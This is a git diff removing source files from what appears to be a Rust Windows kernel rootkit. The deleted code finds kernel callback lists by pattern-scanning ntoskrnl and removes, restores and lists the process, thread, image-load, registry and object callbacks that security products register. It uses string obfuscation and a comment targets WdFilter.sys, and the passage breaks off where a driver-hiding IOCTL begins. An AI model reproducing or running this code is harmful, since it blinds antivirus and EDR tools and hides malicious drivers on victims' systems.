a/driver/src/callback/callbacks/notify_routine.rs +++ /dev/null @@ -1,166 +0,0 @@ -use { - core::mem::size_of, - ntapi::ntldr::LDR_DATA_TABLE_ENTRY, - shared::structs::{CallbackInfoInput, CallbackInfoOutput}, - wdk_sys::{ - NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL - }, - crate::{ - callback::{ - find_callback::{find_callback_address, CallbackResult}, - CallbackList, INFO_CALLBACK_RESTAURE - }, - internals::structs::CallbackRestaure, utils::return_module - }, -}; - -/// Structure representing the Callback. -pub struct Callback; - -/// Implement a feature for the callback PsSetCreateProcessNotifyRoutine / PsSetCreateThreadNotifyRoutine / PsSetLoadImageNotifyRoutine. -impl CallbackList for Callback { - unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { - let mut callbacks = INFO_CALLBACK_RESTAURE.lock(); - let type_ = (*target_callback).callback; - let index = (*target_callback).index; - - if let Some(index) = callbacks.iter().position(|c| c.callback == type_ && c.index == index) { - let address = match find_callback_address(&(*target_callback).callback) { - Some(CallbackResult::PsCreate(addr)) => addr, - _ => return STATUS_UNSUCCESSFUL, - }; - - let addr = address.offset((callbacks[index].index * 8) as isize); - *(addr as *mut u64) = callbacks[index].address; - callbacks.remove(index); - } else { - log::error!("Callback not found for type {:?} at index {}", type_, index); - return STATUS_UNSUCCESSFUL; - } - - STATUS_SUCCESS - } - - unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { - let address = match find_callback_address(&(*target_callback).callback) { - Some(CallbackResult::PsCreate(addr)) => addr, - _ => return STATUS_UNSUCCESSFUL, - }; - - let index = (*target_callback).index as isize; - let addr = address.offset(index * 8); - let callback = CallbackRestaure { - index: (*target_callback).index, - callback: (*target_callback).callback, - address: *(addr as *mut u64), - ..Default::default() - }; - - let mut callback_info = INFO_CALLBACK_RESTAURE.lock(); - callback_info.push(callback); - - *(addr as *mut u64) = 0; - - log::info!("Callback removed at index {}", index); - - STATUS_SUCCESS - } - - unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { - let address = match find_callback_address(&(*target_callback).callback) { - Some(CallbackResult::PsCreate(addr)) => addr, - _ => return Err(STATUS_UNSUCCESSFUL), - }; - - let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; - let start_entry = ldr_data; - - for i in 0..64 { - let addr = address.cast::().offset(i * 8); - let callback = *(addr as *const u64); - - if callback == 0 { - continue; - } - - // Iterate over the loaded modules - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64); - - if raw_pointer > start_address as u64 && raw_pointer < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Module name - let name = &mut (*callback_info.offset(i)).name[..buffer.len()]; - core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); - - // Module address - (*callback_info.offset(i)).address = raw_pointer as usize; - - // Module index - (*callback_info.offset(i)).index = i as u8; - - *information += size_of::(); - break; - } - - // Go to the next module in the list - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset ldr_data for next callback - ldr_data = start_entry; - } - - Ok(()) - } - - unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { - let callbacks = INFO_CALLBACK_RESTAURE.lock(); - let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; - let start_entry = ldr_data; - - for (i, callback) in callbacks.iter().enumerate() { - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64); - - if raw_pointer > start_address as u64 && raw_pointer < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Module name - let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()]; - core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); - - // Module address - (*callback_info.offset(i as isize)).address = raw_pointer as usize; - - // Module index - (*callback_info.offset(i as isize)).index = callback.index as u8; - - *information += size_of::(); - break; - } - - // Go to the next module in the list - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset ldr_data for next callback - ldr_data = start_entry; - } - - Ok(()) - } -} \ No newline at end of file diff --git a/driver/src/callback/callbacks/object.rs b/driver/src/callback/callbacks/object.rs deleted file mode 100644 index da2c282..0000000 --- a/driver/src/callback/callbacks/object.rs +++ /dev/null @@ -1,227 +0,0 @@ -use { - alloc::vec::Vec, - core::mem::size_of, - ntapi::ntldr::LDR_DATA_TABLE_ENTRY, - shared::structs::{CallbackInfoInput, CallbackInfoOutput}, - wdk_sys::{ - NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL - }, - crate::{ - callback::{ - find_callback::{find_callback_address, CallbackResult}, - CallbackList, INFO_CALLBACK_RESTAURE_OB - }, - internals::structs::{CallbackRestaureOb, OBCALLBACK_ENTRY}, - utils::{return_module, with_push_lock_exclusive} - }, -}; - -/// Structure representing the Callback Object. -pub struct CallbackOb; - -/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType). -impl CallbackList for CallbackOb { - unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { - let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock(); - let type_ = (*target_callback).callback; - let index = (*target_callback).index; - - if let Some(index) = callbacks.iter().position(|c| c.callback == type_ && c.index == index) { - let type_ = match find_callback_address(&(*target_callback).callback) { - Some(CallbackResult::ObRegister(addr)) => addr, - _ => return STATUS_UNSUCCESSFUL, - }; - - let lock = &(*type_).type_lock as *const _ as *mut u64; - with_push_lock_exclusive(lock, || { - let current = &mut ((*type_).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY; - let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY; - - while next != current { - if !(*next).enabled && !next.is_null() && (*next).entry as u64 == callbacks[index].entry { - (*next).enabled = true; - callbacks.remove(index); - return STATUS_SUCCESS; - } - - next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY; - } - - STATUS_UNSUCCESSFUL - }) - } else { - log::error!("Callback not found for type {:?} at index {}", type_, index); - return STATUS_UNSUCCESSFUL; - } - } - - unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { - let type_ = match find_callback_address(&(*target_callback).callback) { - Some(CallbackResult::ObRegister(addr)) => addr, - _ => return STATUS_UNSUCCESSFUL, - }; - - let lock = &(*type_).type_lock as *const _ as *mut u64; - with_push_lock_exclusive(lock, || { - let mut i = 0; - let index = (*target_callback).index; - let current = &mut ((*type_).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY; - let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY; - let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock(); - - while next != current { - if i == index { - if (*next).enabled { - let mut callback_restaure = CallbackRestaureOb { - index, - callback: (*target_callback).callback, - entry: (*next).entry as u64, - pre_operation: 0, - post_operation: 0 - }; - - if let Some(pre_op) = (*next).pre_operation { - callback_restaure.pre_operation = pre_op as _; - } - - if let Some(post_op) = (*next).post_operation { - callback_restaure.post_operation = post_op as _; - } - - (*next).enabled = false; - - callback_info.push(callback_restaure); - log::info!("Callback removed at index {}", index); - } - - return STATUS_SUCCESS; - } - - next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY; - i += 1; - } - - STATUS_UNSUCCESSFUL - }) - } - - unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { - let type_ = match find_callback_address(&(*target_callback).callback) { - Some(CallbackResult::ObRegister(addr)) => addr, - _ => return Err(STATUS_UNSUCCESSFUL), - }; - - let current = &mut ((*type_).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY; - let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY; - let mut list_objects = Vec::new(); - - while next != current { - let mut addrs = (0, 0); - if let Some(pre_op) = (*next).pre_operation { - addrs.0 = pre_op as u64; - } - - if let Some(post_op) = (*next).post_operation { - addrs.1 = post_op as u64; - } - - list_objects.push(((*next).enabled, addrs)); - next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY; - } - - let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; - let start_entry = ldr_data; - let mut current_index = 0; - - for (i, (enabled, addrs)) in list_objects.iter().enumerate() { - if !enabled { - current_index += 1; - continue; - } - - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - let pre = addrs.0; - let post = addrs.1; - - if pre > start_address as u64 && pre < end_address || - post > start_address as u64 && post < end_address - { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Module name - let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()]; - core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); - - // Module address - (*callback_info.offset(i as isize)).pre_operation = pre as usize; - (*callback_info.offset(i as isize)).post_operation = post as usize; - - // Module index - (*callback_info.offset(i as isize)).index = current_index as u8; - - *information += size_of::(); - current_index += 1; - break; - } - - // Go to the next module in the list - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset ldr_data for next callback - ldr_data = start_entry; - } - - Ok(()) - } - - unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { - let callbacks = INFO_CALLBACK_RESTAURE_OB.lock(); - let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; - let start_entry = ldr_data; - - for (i, callback) in callbacks.iter().enumerate() { - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - - if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address - || callback.post_operation > start_address as u64 && callback.post_operation < end_address - { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Module name - let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()]; - core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); - - // Module address - (*callback_info.offset(i as isize)).pre_operation = callback.pre_operation as usize; - (*callback_info.offset(i as isize)).post_operation = callback.post_operation as usize; - - // Module index - (*callback_info.offset(i as isize)).index = callback.index as u8; - - *information += size_of::(); - break; - } - // Go to the next module in the list - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset ldr_data for next callback - ldr_data = start_entry; - } - - Ok(()) - } -} \ No newline at end of file diff --git a/driver/src/callback/callbacks/registry.rs b/driver/src/callback/callbacks/registry.rs deleted file mode 100644 index 56b1aa1..0000000 --- a/driver/src/callback/callbacks/registry.rs +++ /dev/null @@ -1,204 +0,0 @@ -use { - core::mem::size_of, - ntapi::ntldr::LDR_DATA_TABLE_ENTRY, - shared::structs::{CallbackInfoInput, CallbackInfoOutput}, - wdk_sys::{ - NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL - }, - crate::{ - callback::{ - find_callback::{find_callback_address, CallbackResult}, - CallbackList, INFO_CALLBACK_RESTAURE_REGISTRY - }, - internals::structs::{ - CallbackRestaure, CM_CALLBACK - }, - utils::{return_module, with_push_lock_exclusive} - }, -}; - -/// Structure representing the Callback Registry. -pub struct CallbackRegistry; - -/// Implement a feature for the callback CmRegisterCallbackEx. -impl CallbackList for CallbackRegistry { - unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { - let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); - let callback_type = (*target_callback).callback; - let index = (*target_callback).index; - - if let Some(x) = callbacks_info.iter().position(|c| c.callback == callback_type && c.index == index) { - let (callbacks, count, lock) = match find_callback_address(&(*target_callback).callback) { - Some(CallbackResult::Registry(addr)) => addr, - _ => return STATUS_UNSUCCESSFUL, - }; - - with_push_lock_exclusive(lock as *mut u64, || { - let count = *(count as *mut u32) + 1; - let mut pcm_callback = callbacks as *mut CM_CALLBACK; - - for i in 0..count { - if pcm_callback.is_null() { - break; - } - - if i == index as u32 { - (*pcm_callback).function = callbacks_info[x].address; - callbacks_info.remove(x); - return STATUS_SUCCESS; - } - - pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK; - } - - STATUS_SUCCESS - }) - } else { - log::error!("Callback not found for type {:?} at index {}", callback_type, index); - STATUS_UNSUCCESSFUL - } - } - - unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { - let (callbacks, count, lock) = match find_callback_address(&(*target_callback).callback) { - Some(CallbackResult::Registry(addr)) => addr, - _ => return STATUS_UNSUCCESSFUL, - }; - - with_push_lock_exclusive(lock as *mut u64, || { - let index = (*target_callback).index as isize; - let count = *(count as *mut u32) + 1; - let mut pcm_callback = callbacks as *mut CM_CALLBACK; - let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); - let mut prev_addr = 0; - - for i in 0..count { - if i == 1 { - prev_addr = (*pcm_callback).function as u64; // WdFilter.sys - } - - if pcm_callback.is_null() { - break; - } - - if i == index as u32 { - let addr = (*pcm_callback).function as u64; - let callback_restaure = CallbackRestaure { - index: (*target_callback).index, - callback: (*target_callback).callback, - address: addr, - ..Default::default() - }; - - (*pcm_callback).function = prev_addr; - callbacks_info.push(callback_restaure); - - log::info!("Callback removed at index {}", index); - return STATUS_SUCCESS; - } - - pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK; - } - - STATUS_UNSUCCESSFUL - }) - } - - unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callbacks_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { - let (callbacks, count, lock) = match find_callback_address(&(*target_callback).callback) { - Some(CallbackResult::Registry(addr)) => addr, - _ => return Err(STATUS_UNSUCCESSFUL), - }; - - let count = *(count as *mut u32) + 1; - let mut pcm_callback = callbacks as *mut CM_CALLBACK; - let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; - let start_entry = ldr_data; - - with_push_lock_exclusive(lock as *mut u64, || { - for i in 0..count as isize { - if pcm_callback.is_null() { - break; - } - // Iterate over the loaded modules - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - let addr = (*pcm_callback).function as u64; - - if addr > start_address as u64 && addr < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Module name - let name = &mut (*callbacks_info.offset(i)).name[..buffer.len()]; - core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); - - // Module address - (*callbacks_info.offset(i)).address = addr as usize; - - // Module index - (*callbacks_info.offset(i)).index = i as u8; - - *information += size_of::(); - break; - } - - // Go to the next module in the list - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset ldr_data for next callback - ldr_data = start_entry; - - pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK; - } - - Ok(()) - }) - } - - unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callbacks_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> { - let callbacks = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); - let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?; - let start_entry = ldr_data; - - for (i, callback) in callbacks.iter().enumerate() { - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - - if callback.address > start_address as u64 && callback.address < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Module name - let name = &mut (*callbacks_info.offset(i as isize)).name[..buffer.len()]; - core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); - - // Module address - (*callbacks_info.offset(i as isize)).address = callback.address as usize; - - // Module index - (*callbacks_info.offset(i as isize)).index = callback.index as u8; - - *information += size_of::(); - break; - } - // Go to the next module in the list - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset ldr_data for next callback - ldr_data = start_entry; - } - - Ok(()) - } -} diff --git a/driver/src/callback/find_callback.rs b/driver/src/callback/find_callback.rs deleted file mode 100644 index 32842d7..0000000 --- a/driver/src/callback/find_callback.rs +++ /dev/null @@ -1,137 +0,0 @@ -use obfstr::obfstr; -use shared::enums::Callbacks; -use crate::{ - internals::structs::FULL_OBJECT_TYPE, - utils::{patterns::scan_for_pattern, uni::str_to_unicode} -}; -use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType}; - -/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine. -/// -/// # Returns -/// -/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise. -/// -unsafe fn find_ps_create_process() -> Option<*mut u8> { - let mut name = str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode(); - let function_address = MmGetSystemRoutineAddress(&mut name); - - // e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8) - let instructions = [0xE8]; - let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14, i32::from_le_bytes)?; - - let instructions = [0x4C, 0x8D, 0x2D]; - scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98, i32::from_le_bytes) -} - -/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine. -/// -/// # Returns -/// -/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise. -/// -unsafe fn find_ps_create_thread() -> Option<*mut u8> { - let mut name = str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode(); - let function_address = MmGetSystemRoutineAddress(&mut name); - - // 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)] - let instructions = [0x48, 0x8D, 0x0D]; - scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes) -} - -/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine. -/// -/// # Returns -/// -/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise. -/// -unsafe fn find_ps_load_image() -> Option<*mut u8> { - let mut name = str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode(); - let function_address = MmGetSystemRoutineAddress(&mut name); - - // 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)] - let instructions = [0x48, 0x8D, 0x0D]; - scan_for_pattern(function_address, &instructions, 3, 7, 0x50, i32::from_le_bytes) -} - -/// Finds the address of the `CmRegisterCallbackEx` routine. -/// -/// # Returns -/// -/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise. -/// -unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{ - let mut name = str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode(); - let function_address = MmGetSystemRoutineAddress(&mut name); - - // e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08) - let register_internal_pattern = [0xE8]; - let register_callback_internal = scan_for_pattern(function_address, ®ister_internal_pattern, 1, 5, 0x50, i32::from_le_bytes)?; - - // 488bcb mov rcx,rbx - // e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c) - let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8]; - let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108, i32::from_le_bytes)?; - - // 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)] - let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D]; - let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200, i32::from_le_bytes)?; - - // 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)] - let callback_list_head_pattern = [0x4C, 0x8D, 0x3D]; - let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200, i32::from_le_bytes)?; - - // f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)] - let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05]; - let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200, i32::from_le_bytes)?; - - Some((callback_list_header, callback_count, callback_list_lock)) -} - -/// Finds the address of the `ObRegisterCallbacks` routine. -/// -/// # Returns -/// -/// - `Option<*mut FULL_OBJECT_TYPE>`: Some pointer to the address if found, None otherwise. -/// -pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJECT_TYPE> { - match callback { - Callbacks::ObProcess => { - let object_type = unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }; - Some(object_type) - }, - Callbacks::ObThread => { - let object_type = unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }; - Some(object_type) - }, - _ => None - } -} - -/// Finds the type of the callback and calls the function responsible for it. -/// -/// # Arguments -/// -/// - `callback`: target callback that will be called. -/// -/// # Returns -/// -/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise. -/// -pub unsafe fn find_callback_address(callback: &Callbacks) -> Option { - match callback { - Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process().map(CallbackResult::PsCreate), - Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread().map(CallbackResult::PsCreate), - Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::PsCreate), - Callbacks::CmRegisterCallbackEx => find_cm_register_callback().map(CallbackResult::Registry), - Callbacks::ObProcess => find_ob_register_callback(callback).map(CallbackResult::ObRegister), - Callbacks::ObThread => find_ob_register_callback(callback).map(CallbackResult::ObRegister), - } -} - -/// Enum containing return types for each callback. -pub enum CallbackResult { - PsCreate(*mut u8), - Registry((*mut u8, *mut u8, *mut u8)), - ObRegister(*mut FULL_OBJECT_TYPE) -} \ No newline at end of file diff --git a/driver/src/callback/ioctls.rs b/driver/src/callback/ioctls.rs deleted file mode 100644 index c155c1d..0000000 --- a/driver/src/callback/ioctls.rs +++ /dev/null @@ -1,63 +0,0 @@ -use { - alloc::boxed::Box, - hashbrown::HashMap, - crate::{handle_callback, utils::ioctls::IoctlHandler}, - wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, - shared::{ - ioctls::{ - IOCTL_ENUMERATE_CALLBACK, IOCTL_ENUMERATE_REMOVED_CALLBACK, - IOCTL_REMOVE_CALLBACK, IOCTL_RESTORE_CALLBACK - }, - structs::{CallbackInfoInput, CallbackInfoOutput} - }, -}; - -/// Registers the IOCTL handlers for callback-related operations. -/// -/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with -/// their respective IOCTL codes. The two operations supported are: -/// -/// # Arguments -/// -/// - `ioctls`: A mutable reference to a `HashMap` where the callback-related -/// IOCTL handlers will be inserted. -/// -pub fn get_callback_ioctls(ioctls: &mut HashMap ) { - // Lists Callbacks. - ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let mut information = 0; - let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); - - // List Callbacks Removed. - ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let mut information = 0; - let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); - - // Remove Callback. - ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); - - // Restore Callback. - ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) }; - unsafe { (*irp).IoStatus.Information = 0 }; - status - }) as IoctlHandler); -} \ No newline at end of file diff --git a/driver/src/callback/mod.rs b/driver/src/callback/mod.rs deleted file mode 100644 index b603320..0000000 --- a/driver/src/callback/mod.rs +++ /dev/null @@ -1,78 +0,0 @@ -use { - alloc::vec::Vec, - crate::internals::structs::{CallbackRestaure, CallbackRestaureOb}, - shared::{ - vars::MAX_CALLBACK, - structs::{CallbackInfoInput, CallbackInfoOutput}, - }, - spin::{lazy::Lazy, Mutex}, wdk_sys::NTSTATUS, -}; - -mod find_callback; -pub mod ioctls; -pub mod callbacks; - -/// Variable that stores callbacks that have been removed. -pub static mut INFO_CALLBACK_RESTAURE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK))); - -/// Variable that stores callbacks registry that have been removed. -static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK))); - -/// Variable that stores callbacks Ob that have been removed. -static mut INFO_CALLBACK_RESTAURE_OB: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK))); - -/// Trait defining common operations for callback lists. -pub trait CallbackList { - /// Restore a callback from the specified routine. - /// - /// # Arguments - /// - /// - `target_callback`: Pointer to the callback information input. - /// - /// # Returns - /// - /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. - /// - unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS; - - /// Removes a callback from the specified routine. - /// - /// # Arguments - /// - /// - `target_callback`: Pointer to the callback information input. - /// - /// # Returns - /// - /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. - /// - unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS; - - /// Searches for a module associated with a callback and updates callback information. - /// - /// # Arguments - /// - /// - `target_callback`: Pointer to the callback information input. - /// - `callback_info`: Pointer to the callback information output. - /// - `information`: Pointer to a variable to store information size. - /// - /// # Returns - /// - /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. - /// - unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>; - - /// List of callbacks currently removed. - /// - /// # Arguments - /// - /// - `target_callback`: Pointer to the callback information input. - /// - `callback_info`: Pointer to the callback information output. - /// - `information`: Pointer to a variable to store information size. - /// - /// # Returns - /// - /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. - /// - unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>; -} - diff --git a/driver/src/driver/ioctls.rs b/driver/src/driver/ioctls.rs deleted file mode 100644 index 5ac2579..0000000 --- a/driver/src/driver/ioctls.rs +++ /dev/null @@ -1,43 +0,0 @@ -use { - alloc::boxed::Box, - hashbrown::HashMap, - wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, - shared::{ - ioctls::{IOCTL_ENUMERATE_DRIVER, IOCTL_HIDE_UNHIDE_DRIVER}, - structs::{DriverInfo, TargetDriver} - }, - crate::{ - driver::Driver, handle, utils::ioctls::IoctlHandler - }, -}; - -/// Registers the IOCTL handlers for driver-related operations. -/// -/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with -/// their respective IOCTL codes. The two operations supported are: -/// -/// # Arguments -/// -/// - `ioctls`: A mutable reference to a `HashMap` where the driver-related -/// IOCTL handlers will be inserted. -/// -pub fn get_driver_ioctls(ioctls: &mut HashMap) { - // Hiding / Unhiding a driver from loaded modules. - 